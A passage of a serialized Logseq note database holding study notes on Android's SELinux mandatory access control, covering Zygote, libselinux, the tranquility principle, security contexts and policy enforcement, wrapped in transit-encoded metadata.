speechlogseq____&quot;,536874642]],[logseq____&quot;^15logseq____&quot;,[545,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874614]],[logseq____&quot;^15logseq____&quot;,[545,logseq____&quot;^Flogseq____&quot;,544,536874614]],[logseq____&quot;^15logseq____&quot;,[545,logseq____&quot;^Xlogseq____&quot;,354,536874614]],[logseq____&quot;^15logseq____&quot;,[545,logseq____&quot;^Vlogseq____&quot;,544,536874616]],[logseq____&quot;^15logseq____&quot;,[545,logseq____&quot;^Ulogseq____&quot;,2,536874660]],[logseq____&quot;^15logseq____&quot;,[545,logseq____&quot;^Ulogseq____&quot;,38,536874660]],[logseq____&quot;^15logseq____&quot;,[545,logseq____&quot;^Ulogseq____&quot;,354,536874660]],[logseq____&quot;^15logseq____&quot;,[545,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874642]],[logseq____&quot;^15logseq____&quot;,[545,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b994ed-3649-45fb-8758-1b849b851990logseq____&quot;,536874614]],[logseq____&quot;^15logseq____&quot;,[546,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Communicated via Audio Volume Settinglogseq____&quot;,536874652]],[logseq____&quot;^15logseq____&quot;,[546,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874645]],[logseq____&quot;^15logseq____&quot;,[546,logseq____&quot;^Flogseq____&quot;,545,536874645]],[logseq____&quot;^15logseq____&quot;,[546,logseq____&quot;^Xlogseq____&quot;,354,536874645]],[logseq____&quot;^15logseq____&quot;,[546,logseq____&quot;^Vlogseq____&quot;,544,536874645]],[logseq____&quot;^15logseq____&quot;,[546,logseq____&quot;^Ulogseq____&quot;,2,536874660]],[logseq____&quot;^15logseq____&quot;,[546,logseq____&quot;^Ulogseq____&quot;,38,536874660]],[logseq____&quot;^15logseq____&quot;,[546,logseq____&quot;^Ulogseq____&quot;,354,536874660]],[logseq____&quot;^15logseq____&quot;,[546,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874652]],[logseq____&quot;^15logseq____&quot;,[546,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b99519-6713-4168-8973-14bb3cc6d208logseq____&quot;,536874645]],[logseq____&quot;^15logseq____&quot;,[547,logseq____&quot;^12logseq____&quot;,2,536874664]],[logseq____&quot;^15logseq____&quot;,[549,logseq____&quot;^Klogseq____&quot;,1740234963069,536874665]],[logseq____&quot;^15logseq____&quot;,[549,logseq____&quot;^@logseq____&quot;,false,536874665]],[logseq____&quot;^15logseq____&quot;,[549,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;mandatory access controllogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[549,logseq____&quot;^11logseq____&quot;,logseq____&quot;Mandatory Access Controllogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[549,logseq____&quot;^Blogseq____&quot;,1740235077587,536874805]],[logseq____&quot;^15logseq____&quot;,[549,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-7e42-42f1-921b-4c4ab8b5b683logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[550,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Implemented as Kernel module for Linux Security Modules frameworklogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[550,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[550,logseq____&quot;^Flogseq____&quot;,599,536874665]],[logseq____&quot;^15logseq____&quot;,[550,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[550,logseq____&quot;^Vlogseq____&quot;,599,536874665]],[logseq____&quot;^15logseq____&quot;,[550,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[550,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-1abd-4416-99f8-48a105cb1ba4logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[551,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Allows for tight controls:logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[551,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[551,logseq____&quot;^Flogseq____&quot;,589,536874665]],[logseq____&quot;^15logseq____&quot;,[551,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[551,logseq____&quot;^Vlogseq____&quot;,593,536874665]],[logseq____&quot;^15logseq____&quot;,[551,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[551,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-629c-4630-87df-a568965028celogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[552,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Symlinks not resolved if created by apps or shelllogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[552,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[552,logseq____&quot;^Flogseq____&quot;,610,536874665]],[logseq____&quot;^15logseq____&quot;,[552,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[552,logseq____&quot;^Vlogseq____&quot;,551,536874665]],[logseq____&quot;^15logseq____&quot;,[552,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[552,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-e041-4df0-96ce-f08561c8b9fdlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[553,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Policy must give Zygote higher privileges to be able to load other processeslogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[553,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[553,logseq____&quot;^Flogseq____&quot;,619,536874665]],[logseq____&quot;^15logseq____&quot;,[553,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[553,logseq____&quot;^Vlogseq____&quot;,554,536874665]],[logseq____&quot;^15logseq____&quot;,[553,logseq____&quot;^Ulogseq____&quot;,549,536874792]],[logseq____&quot;^15logseq____&quot;,[553,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-d62b-4f78-9d07-3d0cc6a71212logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[554,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Zygote\\nid:: 67b9dad0-a9f5-436b-9148-4d75b1feb8c1logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[554,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[554,logseq____&quot;^Flogseq____&quot;,559,536874665]],[logseq____&quot;^15logseq____&quot;,[554,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[554,logseq____&quot;^Vlogseq____&quot;,613,536874665]],[logseq____&quot;^15logseq____&quot;,[554,logseq____&quot;^Ulogseq____&quot;,549,536874792]],[logseq____&quot;^15logseq____&quot;,[554,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b9dad0-a9f5-436b-9148-4d75b1feb8c1logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874665]],[logseq____&quot;^15logseq____&quot;,[554,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536874665]],[logseq____&quot;^15logseq____&quot;,[554,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b9dad0-a9f5-436b-9148-4d75b1feb8c1logseq____&quot;],536874665]],[logseq____&quot;^15logseq____&quot;,[554,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9dad0-a9f5-436b-9148-4d75b1feb8c1logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[555,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[555,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[555,logseq____&quot;^Flogseq____&quot;,584,536874665]],[logseq____&quot;^15logseq____&quot;,[555,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[555,logseq____&quot;^Vlogseq____&quot;,572,536874665]],[logseq____&quot;^15logseq____&quot;,[555,logseq____&quot;^Ulogseq____&quot;,549,536874792]],[logseq____&quot;^15logseq____&quot;,[555,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-1fa5-4bb0-84f0-f266ace570bdlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[556,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Request and enforce policy decisions from ((67b9d131-43db-4bf9-b977-55e6029219c7))logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[556,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[556,logseq____&quot;^Flogseq____&quot;,566,536874665]],[logseq____&quot;^15logseq____&quot;,[556,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[556,logseq____&quot;^Vlogseq____&quot;,566,536874665]],[logseq____&quot;^15logseq____&quot;,[556,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[556,logseq____&quot;^Hlogseq____&quot;,586,536874665]],[logseq____&quot;^15logseq____&quot;,[556,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-a42c-4ebf-a176-bc31761962f1logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[557,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;TOMOYO, grsecurity, AppArmorlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[557,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[557,logseq____&quot;^Flogseq____&quot;,608,536874665]],[logseq____&quot;^15logseq____&quot;,[557,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[557,logseq____&quot;^Vlogseq____&quot;,594,536874665]],[logseq____&quot;^15logseq____&quot;,[557,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[557,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-2c5b-4d3d-a9c3-96e2c4fb115alogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[558,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Principle of Tranquilitylogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[558,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[558,logseq____&quot;^Flogseq____&quot;,613,536874665]],[logseq____&quot;^15logseq____&quot;,[558,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[558,logseq____&quot;^Vlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[558,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[558,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874665]],[logseq____&quot;^15logseq____&quot;,[558,logseq____&quot;^Jlogseq____&quot;,[],536874665]],[logseq____&quot;^15logseq____&quot;,[558,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-20b4-45e0-88f9-a2da4e63b76dlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[559,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### libselinuxlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[559,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[559,logseq____&quot;^Flogseq____&quot;,587,536874665]],[logseq____&quot;^15logseq____&quot;,[559,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[559,logseq____&quot;^Vlogseq____&quot;,613,536874665]],[logseq____&quot;^15logseq____&quot;,[559,logseq____&quot;^Ulogseq____&quot;,549,536874792]],[logseq____&quot;^15logseq____&quot;,[559,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874665]],[logseq____&quot;^15logseq____&quot;,[559,logseq____&quot;^Jlogseq____&quot;,[],536874665]],[logseq____&quot;^15logseq____&quot;,[559,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-71cf-4c64-9864-0ff2d7202217logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[560,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Request types for new objectslogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[560,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[560,logseq____&quot;^Flogseq____&quot;,595,536874665]],[logseq____&quot;^15logseq____&quot;,[560,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[560,logseq____&quot;^Vlogseq____&quot;,559,536874665]],[logseq____&quot;^15logseq____&quot;,[560,logseq____&quot;^Ulogseq____&quot;,549,536874792]],[logseq____&quot;^15logseq____&quot;,[560,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-f590-41b0-9e64-6b63e277b10dlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[561,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Subjects and objects may *not change* their security level once they have been instantiatedlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[561,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[561,logseq____&quot;^Flogseq____&quot;,558,536874665]],[logseq____&quot;^15logseq____&quot;,[561,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[561,logseq____&quot;^Vlogseq____&quot;,558,536874665]],[logseq____&quot;^15logseq____&quot;,[561,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[561,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-ece9-4772-9096-ba2dcec23c94logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[562,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;type: type of objects and subjects (domian)logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[562,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[562,logseq____&quot;^Flogseq____&quot;,564,536874665]],[logseq____&quot;^15logseq____&quot;,[562,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[562,logseq____&quot;^Vlogseq____&quot;,589,536874665]],[logseq____&quot;^15logseq____&quot;,[562,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[562,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-3ddf-4988-92df-aa1f9b3c2aaalogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[563,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Decouple* policy decision and policy enforcementlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[563,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[563,logseq____&quot;^Flogseq____&quot;,576,536874665]],[logseq____&quot;^15logseq____&quot;,[563,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[563,logseq____&quot;^Vlogseq____&quot;,599,536874665]],[logseq____&quot;^15logseq____&quot;,[563,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[563,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-bfba-414a-81c1-ad25030eb8e0logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[564,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Security context: `user : role : type : security level`logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[564,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[564,logseq____&quot;^Flogseq____&quot;,589,536874665]],[logseq____&quot;^15logseq____&quot;,[564,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[564,logseq____&quot;^Vlogseq____&quot;,589,536874665]],[logseq____&quot;^15logseq____&quot;,[564,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[564,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-f407-41b3-a800-5e2aa8ceb2aflogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[565,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Fail-safe defaults (SIDs: Initial Security Identifiers): `file_contexts`, `property_contexts`, `service_contexts`, `initial_sids`, `initial_sid_contexts`logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[565,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[565,logseq____&quot;^Flogseq____&quot;,575,536874665]],[logseq____&quot;^15logseq____&quot;,[565,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[565,logseq____&quot;^Vlogseq____&quot;,593,536874665]],[logseq____&quot;^15logseq____&quot;,[565,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[565,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-f9a1-4c71-befd-8253dcc3df42logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[566,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Object Manager (PEP)\\nid:: 67b9d114-bc46-411a-8eb9-2f164996774elogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[566,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[566,logseq____&quot;^Flogseq____&quot;,563,536874665]],[logseq____&quot;^15logseq____&quot;,[566,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[566,logseq____&quot;^Vlogseq____&quot;,599,536874665]],[logseq____&quot;^15logseq____&quot;,[566,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[566,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b9d114-bc46-411a-8eb9-2f164996774elogseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874665]],[logseq____&quot;^15logseq____&quot;,[566,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536874665]],[logseq____&quot;^15logseq____&quot;,[566,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b9d114-bc46-411a-8eb9-2f164996774elogseq____&quot;],536874665]],[logseq____&quot;^15logseq____&quot;,[566,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9d114-bc46-411a-8eb9-2f164996774elogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[567,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Android relies on OS to enforce sandboxing based on UIDslogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[567,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[567,logseq____&quot;^Flogseq____&quot;,609,536874665]],[logseq____&quot;^15logseq____&quot;,[567,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[567,logseq____&quot;^Vlogseq____&quot;,609,536874665]],[logseq____&quot;^15logseq____&quot;,[567,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[567,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-ecef-484d-88e9-45152d8c7a33logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[568,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Values (strings) assigned by ((67b9d114-bc46-411a-8eb9-2f164996774e)) (semantic of ((67b9d114-bc46-411a-8eb9-2f164996774e)) and ((67b9d131-43db-4bf9-b977-55e6029219c7))must be synced)logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[568,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[568,logseq____&quot;^Flogseq____&quot;,592,536874665]],[logseq____&quot;^15logseq____&quot;,[568,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[568,logseq____&quot;^Vlogseq____&quot;,589,536874665]],[logseq____&quot;^15logseq____&quot;,[568,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[568,logseq____&quot;^Hlogseq____&quot;,566,536874665]],[logseq____&quot;^15logseq____&quot;,[568,logseq____&quot;^Hlogseq____&quot;,586,536874665]],[logseq____&quot;^15logseq____&quot;,[568,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-29dd-47f1-b105-6b6548755ba1logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[569,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Strong* tranquility: security levels do not change *during the lifetime* of the systemlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[569,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[569,logseq____&quot;^Flogseq____&quot;,561,536874665]],[logseq____&quot;^15logseq____&quot;,[569,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[569,logseq____&quot;^Vlogseq____&quot;,558,536874665]],[logseq____&quot;^15logseq____&quot;,[569,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[569,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-92cd-49e9-8809-9dfd14c06582logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[570,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Allow-listing (only allow if rule is defined)logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[570,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[570,logseq____&quot;^Flogseq____&quot;,616,536874665]],[logseq____&quot;^15logseq____&quot;,[570,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[570,logseq____&quot;^Vlogseq____&quot;,617,536874665]],[logseq____&quot;^15logseq____&quot;,[570,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[570,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-50bb-47ff-91d2-f4e200912778logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[571,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Integrated into Zygote PackageManagerService etc.logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[571,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[571,logseq____&quot;^Flogseq____&quot;,621,536874665]],[logseq____&quot;^15logseq____&quot;,[571,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[571,logseq____&quot;^Vlogseq____&quot;,593,536874665]],[logseq____&quot;^15logseq____&quot;,[571,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[571,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-f20d-4f1a-b927-53929bedeb9clogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[572,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Dynamic Domain Transitionlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[572,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[572,logseq____&quot;^Flogseq____&quot;,554,536874665]],[logseq____&quot;^15logseq____&quot;,[572,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[572,logseq____&quot;^Vlogseq____&quot;,613,536874665]],[logseq____&quot;^15logseq____&quot;,[572,logseq____&quot;^Ulogseq____&quot;,549,536874792]],[logseq____&quot;^15logseq____&quot;,[572,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874665]],[logseq____&quot;^15logseq____&quot;,[572,logseq____&quot;^Jlogseq____&quot;,[],536874665]],[logseq____&quot;^15logseq____&quot;,[572,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-266b-48df-bdcb-edcf7ee41bcalogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[573,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Needs to check which process wants to set the type (Only system server process and ((67b8b44a-6c31-4d6b-9636-36ff5e0010d0)) should be allowed)logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[573,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[573,logseq____&quot;^Flogseq____&quot;,553,536874665]],[logseq____&quot;^15logseq____&quot;,[573,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[573,logseq____&quot;^Vlogseq____&quot;,554,536874665]],[logseq____&quot;^15logseq____&quot;,[573,logseq____&quot;^Ulogseq____&quot;,470,536874792]],[logseq____&quot;^15logseq____&quot;,[573,logseq____&quot;^Ulogseq____&quot;,549,536874792]],[logseq____&quot;^15logseq____&quot;,[573,logseq____&quot;^Hlogseq____&quot;,470,536874665]],[logseq____&quot;^15logseq____&quot;,[573,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-4a07-487c-b7e7-49a908fa1a07logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[574,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;writes limited: `/system` only allowed for recovery; `rootfs` is read-only, no file execution out of rootfs or system-partitionlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[574,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[574,logseq____&quot;^Flogseq____&quot;,551,536874665]],[logseq____&quot;^15logseq____&quot;,[574,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[574,logseq____&quot;^Vlogseq____&quot;,551,536874665]],[logseq____&quot;^15logseq____&quot;,[574,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[574,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-748d-458d-b1f6-6c7e033a26aelogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[575,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Files stored in Android reference policy: `logseq____&lt;AOSPlogseq____&gt;/system/sepolicy`logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[575,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[575,logseq____&quot;^Flogseq____&quot;,591,536874665]],[logseq____&quot;^15logseq____&quot;,[575,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[575,logseq____&quot;^Vlogseq____&quot;,593,536874665]],[logseq____&quot;^15logseq____&quot;,[575,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[575,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-7797-4a4c-aef8-94256fc56eaclogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[576,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Checks syscalls for access permissions using ((67b9ce96-c1d1-461c-b0b4-9bb8de08615d)) LSM 